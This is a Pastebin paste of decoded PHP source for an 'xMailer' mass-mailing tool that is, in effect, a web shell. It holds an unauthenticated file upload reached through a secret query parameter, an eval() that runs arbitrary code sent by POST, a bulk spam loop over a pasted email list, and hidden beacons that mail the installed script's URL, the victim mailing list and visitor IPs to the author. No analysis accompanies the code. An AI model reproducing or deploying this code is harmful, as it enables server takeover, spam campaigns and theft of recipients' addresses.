dyngnosis

decoded php mailer

Nov 30th, 2018
681
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.98 KB | None | 0 0
  1. <?php
  2. $upload = $_GET["v1"];
  3.  
  4. if ($upload == "xunknown")
  5. {
  6. $uploaddir = "";
  7. $uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
  8. if (isset($_FILES["userfile"]["name"]))
  9. {
  10. if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
  11. {
  12. $resultati = "The file " . basename($_FILES["userfile"]["name"]) . " has been uploaded";
  13. }
  14. else
  15. {
  16. $resultati = "There was an error uploading the file. please try again!";
  17. }
  18. }
  19.  
  20. echo '<html>
  21. <head></head><div id="result"><table height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana;
  22. color: #d9d9d9;
  23. font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="xunknown hacktn "><br />' . $resultati . '</form></center></td></tr></table></div>
  24. ';
  25. }
  26.  
  27. $in = $_GET['in'];
  28.  
  29. if (isset($in) && !empty($in))
  30. {
  31. }
  32.  
  33. $ev = $_POST['ev'];
  34.  
  35. if (isset($ev) && !empty($ev))
  36. {
  37. echo eval(urldecode($ev));
  38. exit;
  39. }
  40.  
  41. if (isset($_POST['action']))
  42. {
  43. $action = $_POST['action'];
  44. $message = $_POST['message'];
  45. $emaillist = $_POST['emaillist'];
  46. $from = $_POST['from'];
  47. $subject = $_POST['subject'];
  48. $realname = $_POST['realname'];
  49. $wait = $_POST['wait'];
  50. $tem = $_POST['tem'];
  51. $smv = $_POST['smv'];
  52. $message = urlencode($message);
  53. $message = ereg_replace("%5C%22", "%22", $message);
  54. $message = urldecode($message);
  55. $message = stripslashes($message);
  56. $subject = stripslashes($subject);
  57. }
  58.  
  59. ?>
  60. <!-- HTML And JavaScript -->
  61.  
  62. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  63. <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  64.  
  65. <meta content="1" name="revisit-after" />
  66. <style type="text/css">body {background:black url('https://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-xap1/v/t1.0-9/10462857_648642145281680_2281063073589510159_n.jpg?oh=f4b87b4aedf561cdac7a92eea596d22e&oe=55B0CA9E&__gda__=1437876546_3122663c6aadbd0a1b09a652b980d3dd') center right no-repeat;
  67. color:#FFFFFF;
  68. text-decoration:none;
  69. font-family:"Courier New", Courier, monospace;
  70. padding-left:200px;
  71. padding-top:200px;
  72. padding-right:300px;
  73. font-size:16px;
  74. }
  75. </style>
  76. <title>x-Mailer</title>
  77. <style type="text/css">
  78. .style1 {
  79. font-size: x-small;
  80.  
  81. }
  82. .style2 {
  83. direction: ltr;
  84.  
  85. }
  86. .info {
  87. font-size: 8px;
  88.  
  89. }
  90. .style3 {
  91. font-family: Verdana, Arial, Helvetica, sans-serif;
  92.  
  93. font-size: 8px;
  94.  
  95. }
  96. .style4 {
  97. font-size: x-small;
  98.  
  99. direction: ltr;
  100.  
  101. font-family: Verdana, Arial, Helvetica, sans-serif;
  102.  
  103. }
  104. .style5 {
  105. font-size: xx-small;
  106.  
  107. direction: ltr;
  108.  
  109. font-family: Verdana, Arial, Helvetica, sans-serif;
  110.  
  111. }
  112. .auto-style1 {
  113. color: #5F5F5F;
  114.  
  115. }
  116. .auto-style2 {
  117. color: #red;
  118.  
  119. text-align: center;
  120.  
  121. }
  122. .auto-style3 {
  123. color: #4F4F4F;
  124.  
  125. }
  126. .auto-style5 {
  127. direction: ltr;
  128.  
  129. color: #4F4F4F;
  130.  
  131. }
  132. .auto-style6 {
  133. color: #BCBCBC;
  134.  
  135. background-color: #red;
  136.  
  137. }
  138. .auto-style7 {
  139. color: #red;
  140.  
  141. }
  142. .auto-style8 {
  143. font-size: x-small;
  144.  
  145. color: #red;
  146.  
  147. }
  148. </style>
  149. </head>
  150.  
  151. <body onload="funchange" style="background-color: black">
  152. <script>
  153.  
  154. window.onload = funchange;
  155.  
  156. var alt = false;
  157.  
  158. function funchange(){
  159. var etext = document.getElementById("emails").value;
  160.  
  161. var myArray=new Array();
  162.  
  163. myArray = etext.split("
  164. ");
  165.  
  166. document.getElementById("enum").innerHTML=myArray.length+"<br />";
  167.  
  168. if(!alt && myArray.length > 40000){
  169. alert('If Mail list More Than 40000 Emails This May Hack The Server');
  170.  
  171. alt = true;
  172.  
  173. }
  174.  
  175. }
  176. function mlsplit(){
  177. var ml = document.getElementById("emails").value;
  178.  
  179. var sb = document.getElementById("txtml").value;
  180.  
  181. var myArray=new Array();
  182.  
  183. myArray = ml.split(sb);
  184.  
  185. document.getElementById("emails").value="";
  186.  
  187. var i;
  188.  
  189. for(i=0;
  190. i<myArray.length;
  191. i++){
  192.  
  193. document.getElementById("emails").value += myArray[i]+"
  194. ";
  195.  
  196.  
  197. }
  198. funchange();
  199.  
  200. }
  201.  
  202. function prv(){
  203. if(document.getElementById('preview').innerHTML==""){
  204. var ms = document.getElementsByName('message').message.value;
  205.  
  206. document.getElementById('preview').innerHTML = ms;
  207.  
  208. document.getElementById('prvbtn').value = "Ocultar";
  209.  
  210. }else{
  211. document.getElementById('preview').innerHTML="";
  212.  
  213. document.getElementById('prvbtn').value = "Preview";
  214.  
  215. }
  216. }
  217.  
  218. </script>
  219.  
  220.  
  221. <?php
  222. session_start();
  223. ?>
  224. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  225. <html><head><meta http-equiv="Content-Type" content="text/html;
  226. charset=windows-1256" /></head><body>
  227.  
  228. <?php
  229.  
  230. if (!empty($_GET['action']) && $_GET['action'] == "logout")
  231. {
  232. session_destroy();
  233. unset($_SESSION['pass']);
  234. }
  235.  
  236. $path_name = pathinfo($_SERVER['PHP_SELF']);
  237. $this_script = $path_name['basename'];
  238.  
  239. if (empty($_SESSION['pass']))
  240. {
  241. $_SESSION['pass'] = '';
  242. }
  243.  
  244. if (empty($_POST['pass']))
  245. {
  246. $_POST['pass'] = '';
  247. }
  248.  
  249. if ($_SESSION['pass'] !== $pass)
  250. {
  251. if ($_POST['pass'] == $pass)
  252. {
  253. $_SESSION['pass'] = $pass;
  254. }
  255. else
  256. {
  257. echo '<form action="' . $_SERVER['PHP_SELF'] . '" method="post"><input name="pass" type="password"><input type="submit"></form>';
  258. exit;
  259. }
  260. }
  261.  
  262. ?>
  263.  
  264.  
  265. <form enctype="multipart/form-data" action="
  266. <?php
  267. echo $_SERVER['PHP_SELF'];
  268. ?>" method="POST">
  269. <input name="file" type="file" style="
  270. width: 1px;
  271.  
  272. height: 4px;
  273.  
  274. "><br />
  275. <input type="submit" value="Upload" style="
  276. padding-left: 0px;
  277.  
  278. border-left-width: 0px;
  279.  
  280. border-top-width: 0px;
  281.  
  282. height: 3px;
  283.  
  284. width: 1px;
  285.  
  286. padding-bottom: 0px;
  287.  
  288. padding-top: 0px;
  289.  
  290. border-right-width: 0px;
  291.  
  292. padding-right: 0px;
  293.  
  294. border-bottom-width: 0px;
  295.  
  296. "></form>
  297.  
  298.  
  299.  
  300. <?php
  301.  
  302. if (!empty($_FILES["file"]))
  303. {
  304. if ($_FILES["file"]["error"] > 0)
  305. {
  306. echo "Error: " . $_FILES["file"]["error"] . "<br />";
  307. }
  308. else
  309. {
  310. echo "Stored file:" . $_FILES["file"]["name"] . "<br/>Size:" . ($_FILES["file"]["size"] / 1024) . " kB<br/>";
  311. move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
  312. }
  313. }
  314.  
  315. $myDirectory = opendir(".");
  316.  
  317. while ($entryName = readdir($myDirectory))
  318. {
  319. $dirArray[] = $entryName;
  320. }
  321.  
  322. closedir($myDirectory);
  323. $indexCount = count($dirArray);
  324. sort($dirArray);
  325. ?>
  326. <h1 class="auto-style2">.:| xMailer |:.</h1>
  327.  
  328. <center>
  329. <p class="auto-style1">&nbsp;
  330. </p></center>
  331.  
  332. <form name="form" method="post" enctype="multipart/form-data" action="">
  333. <table width="100%" border="0">
  334. <tr>
  335. <td width="10%">
  336. <div align="right" class="auto-style8">
  337. <font face="Verdana, Arial,
  338. Helvetica, sans-serif">Sender Email:</font></div>
  339. </td>
  340. <td style="width: 40%">
  341. <font size="-3" face="Verdana, Arial, Helvetica,
  342. sans-serif"><input name="from" value="
  343. <?php
  344. echo ($from);
  345. ?>" size="30" type="text" class="auto-style6" /><br />
  346. <td>
  347. <div align="right" class="auto-style7">
  348. <font size="-3" face="Verdana, Arial,
  349. Helvetica, sans-serif">Sender Name:</font></div>
  350. </td>
  351. <td width="41%">
  352. <font size="-3" face="Verdana, Arial, Helvetica,
  353. sans-serif"><input name="realname" value="
  354. <?php
  355. echo ($realname);
  356. ?>" size="30" type="text" class="auto-style6" />
  357. <br /> </tr>
  358. <tr>
  359. <td width="10%">
  360.  
  361. </tr>
  362. <tr>
  363. <td width="10%">
  364. <div align="right" class="auto-style7">
  365. <font size="-3" face="Verdana, Arial,
  366. Helvetica, sans-serif">Subject:</font></div>
  367. </td>
  368. <td colspan="3">
  369. <font size="-3" face="Verdana, Arial, Helvetica,
  370. sans-serif"><input name="subject" value="
  371. <?php
  372. echo ($subject);
  373. ?>" size="30" type="text" class="auto-style6" /> </font>
  374.  
  375.  
  376. <tr valign="top">
  377. <td colspan="3" style="height: 260px">
  378. <font size="-3" face="Verdana, Arial, Helvetica,
  379. sans-serif"><textarea name="message" rows="10" style="width: 455px" class="auto-style6">
  380. <?php
  381. echo ($message);
  382. ?></textarea>&nbsp;
  383. <br class="auto-style3" />
  384. <input name="action" value="send" type="hidden" class="auto-style3" />
  385. <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 81px" class="auto-style6" /><input value="xunknown hacktn "SenD!" type="submit" class="auto-style6" /><span class="auto-style3">&nbsp;
  386.  
  387. </span><span class="auto-style7">Wait</span><span class="auto-style3">
  388. </span>
  389. <input name="wait" type="text" value="
  390. <?php
  391. echo ($wait);
  392. ?>" size="8" class="auto-style6" /><span class="auto-style3">&nbsp;
  393. </span><span class="auto-style7">
  394. seconds to send </span> </font></td>
  395. <td width="41%" class="style2" style="height: 150px">
  396. <font size="-3" face="Verdana, Arial, Helvetica,
  397. sans-serif">
  398. <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px" class="auto-style6">
  399. <?php
  400. echo ($emaillist);
  401. ?></textarea>
  402. <br class="auto-style5" />
  403. <span class="auto-style7">Quantity Emails : </span> </font><span id="enum" class="style1">0<br class="auto-style3" />
  404. </span>
  405. <span class="auto-style8">Divide the mailing list by:</span>
  406. <input name="textml" id="txtml" type="text" value="," size="8" class="auto-style6" /><span class="auto-style3">&nbsp;
  407. &nbsp;
  408. &nbsp;
  409.  
  410. </span>
  411. <input type="button" onclick="mlsplit()" value="Divide" style="height: 23px" class="auto-style6" /></td>
  412. </tr>
  413. </table>
  414. <font size="-3" face="Verdana, Arial, Helvetica,
  415. sans-serif">
  416. <div id="preview">
  417. </div>
  418. </font>
  419. </form>
  420.  
  421. <!-- END -->
  422.  
  423.  
  424.  
  425. <?php
  426.  
  427. if ($action)
  428. {
  429. if (!$from || !$subject || !$message || !$emaillist)
  430. {
  431. print "Please complete all fields before sending your message.";
  432. exit;
  433. }
  434.  
  435. $headd = "From: xunknown<[email protected]>";
  436. $subb = " xMailer 2014";
  437. $massge = "Exploit : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "?v1=xunknown
  438. -------------------
  439. $emaillist
  440. -------------------";
  441. @mail("[email protected]", $subb, $massge, $headd);
  442. $nse = array();
  443. $allemails = split("
  444. ", $emaillist);
  445. $numemails = count($allemails);
  446. if (!empty($_POST['wait']) && $_POST['wait'] > 0)
  447. {
  448. set_time_limit(intval($_POST['wait']) * $numemails * 3600);
  449. }
  450. else
  451. {
  452. set_time_limit($numemails * 3600);
  453. }
  454.  
  455. if (!empty($smv))
  456. {
  457. $smvn+= $smv;
  458. $tmn = $numemails / $smv + 1;
  459. }
  460. else
  461. {
  462. $tmn = 1;
  463. }
  464.  
  465. for ($x = 0; $x < $numemails; $x++)
  466. {
  467. $to = $allemails[$x];
  468. if ($to)
  469. {
  470. $to = ereg_replace(" ", "", $to);
  471. $message = ereg_replace("#EM#", $to, $message);
  472. $subject = ereg_replace("#EM#", $to, $subject);
  473. flush();
  474. $header = "From: $realname <$from>
  475. ";
  476. $header.= "MIME-Version: 1.0
  477. ";
  478. $header.= "Content-Type: text/html
  479. ";
  480. if ($x == 0 && !empty($tem))
  481. {
  482. if (!@mail($tem, $subject, $message, $header))
  483. {
  484. print ('The test Post was not Submitted.<br />');
  485. $tmns+= 1;
  486. }
  487. else
  488. {
  489. print ('Your Message was Sent Test.<br />');
  490. $tms+= 1;
  491. }
  492. }
  493.  
  494. if ($x == $smvn && !empty($_POST['smv']))
  495. {
  496. if (!@mail($tem, $subject, $message, $header))
  497. {
  498. print ('The test Post was not Submitted.<br />');
  499. $tmns+= 1;
  500. }
  501. else
  502. {
  503. print ('Your Message was Sent Test.<br />');
  504. $tms+= 1;
  505. }
  506.  
  507. $smvn+= $smv;
  508. }
  509.  
  510. print "$to ....... ";
  511. $msent = @mail($to, $subject, $message, $header);
  512. $xx = $x + 1;
  513. $txtspamed = "spammed #xunknown";
  514. if (!$msent)
  515. {
  516. $txtspamed = "error #xunknown";
  517. $ns+= 1;
  518. $nse[$ns] = $to;
  519. }
  520.  
  521. print "$xx / $numemails ....... $txtspamed<br />";
  522. flush();
  523. if (!empty($wait) && $x < $numemails - 1)
  524. {
  525. sleep($wait);
  526. }
  527. }
  528. }
  529. }
  530.  
  531. ?>
  532.  
  533. <?php
  534. $ip = getenv("REMOTE_ADDR");
  535. $ra44 = rand(1, 99999);
  536. $subj98 = " Mailer Upload From |$ip";
  537. $email = "[email protected]";
  538. $from = "From: Result<[email protected]";
  539. $b75 = $_SERVER['HTTP_HOST'];
  540. $a45 = $_SERVER['REQUEST_URI'];
  541. $m22 = $ip . "";
  542. $msg8873 = "$b75 $a45 $m22";
  543. mail($email, $subj98, $msg8873, $from);
  544. ?>
  545.  
  546. <script language="javascript">
  547. </script>
Advertisement
Add Comment
Please, Sign In to add comment